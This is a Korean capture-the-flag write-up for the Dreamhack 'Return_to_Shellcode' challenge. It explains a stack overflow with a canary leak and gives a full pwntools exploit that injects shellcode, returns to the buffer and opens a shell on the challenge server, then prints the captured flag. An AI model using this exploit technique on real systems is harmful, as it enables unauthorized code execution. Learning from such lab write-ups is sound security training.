먼저 문제 파일에 걸린 방어기법을 확인해보면
⚡ root ~/Downloads/dreamhack/Return_to_Shellcode checksec r2s
[*] '/root/Downloads/dreamhack/Return_to_Shellcode/r2s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
카나리 방어기법이 걸려있습니다.
문제 코드를 보면
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf); // buf의 주소 출력
printf("Distance between buf and $rbp: %ld\n", // buf와 rbp 사이의 거리 출력
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100); // 0x100 Byte 만큼 입력을 받음
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf); // 크기에 제한 없이 입력을 받음
return 0;
}
⚡ root ~/Downloads/dreamhack/Return_to_Shellcode ./r2s
Address of the buf: 0x7ffe30862370
Distance between buf and $rbp: 96
[1] Leak the canary
Input:
r2s를 실행시켜보면 buf ~ rbp 사이의 거리가 96 Byte 밖에 안되는데, read로 256 Byte 만큼 입력을 받고 있기 때문에, 카나리 릭을 할 수 있습니다.
그리고 gets() 함수로 크기에 제한 없이 입력을 받고 있어서 RET까지 조작을 할 수 있습니다.
먼저 메모리 구조를 그려보면
다음으로 카나리 릭을 해보면
첫번째 입력에서 89 바이트를 입력하면 카나리 앞의 NULL이 제거되면서 printf("Input: ");에 의해서 카나리 값을 얻을 수 있습니다.
익스플로잇 코드를 짜 보면
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
context.arch = "amd64"
p = remote("host3.dreamhack.games", 22998)
e = ELF("./r2s")
shellcode = asm(shellcraft.sh())
# Get buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
# Canary Leak
payload = b'A' * 0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
slog("buf", buf)
slog("canary", canary)
# BOF
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()
익스플로잇 코드를 실행해보면
ion ~/wargame/dreamhack/pwnable/Return_to_Shellcode python3 remote.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 22998: Done
[*] '/home/ion/wargame/dreamhack/pwnable/Return_to_Shellcode/r2s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] buf: 0x7ffe04ea4a60
[+] canary: 0xf28d3bc5a2a37200
[*] Switching to interactive mode
$
공격에 성공해서 쉘이 떴고
플래그 파일을 출력해보면
$ ls
flag
r2s
$ cat flag
DH{333eb89c9d2615dd8942ece08c1d34d5}
정상적으로 출력되었습니다.